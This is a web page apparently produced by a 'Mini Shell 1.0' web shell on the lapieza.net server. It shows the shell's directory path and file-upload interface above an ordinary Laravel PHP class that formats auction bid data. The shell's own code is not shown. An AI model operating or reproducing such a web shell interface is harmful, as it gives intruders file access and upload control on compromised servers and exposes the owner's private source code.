HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Resources/V2/Auction/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Resources/V2/Auction/AuctionBidProducts.php
<?php



namespace App\Http\Resources\V2\Auction;



use App\Models\Order;

use App\Models\OrderDetail;

use Illuminate\Http\Resources\Json\JsonResource;



class AuctionBidProducts extends JsonResource

{

    /**

     * Transform the resource into an array.

     *

     * @param  \Illuminate\Http\Request  $request

     * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable

     */

    public function toArray($request)

    {

        $order = null;

        $isBuyable = false;

        $my_bided_product = $this->bids->where('user_id', auth()->id())->first();

        $highest_bid = $this->bids->max('amount');

        $order_detail = OrderDetail::where('product_id', $this->id)->first();

        if ($order_detail != null) {

            $order = Order::where('id', $order_detail->order_id)->where('user_id', auth()->id())->first();

        }



        if ($my_bided_product->product->auction_end_date < strtotime("now") && $my_bided_product->amount == $highest_bid && $order == null) {

            $action = 'Buy';

            $isBuyable = true;

        } elseif ($order != null) {

            $action = 'Purchased';

        } else {

            $action = 'N/A';

        }



        return [

            'id' => $this->id,

            'name' => $this->name,

            'thumbnail_image' => uploaded_asset($this->thumbnail_img),

            'my_bid' => single_price($my_bided_product->amount),

            'highest_bid' => single_price($highest_bid),

            'auction_end_date' => $this->auction_end_date < strtotime("now") ? translate('Ended') : date('d.m.Y H:i:s', $this->auction_end_date),

            'action' =>  $action,

            'isBuyable' =>  $isBuyable,

        ];

    }

}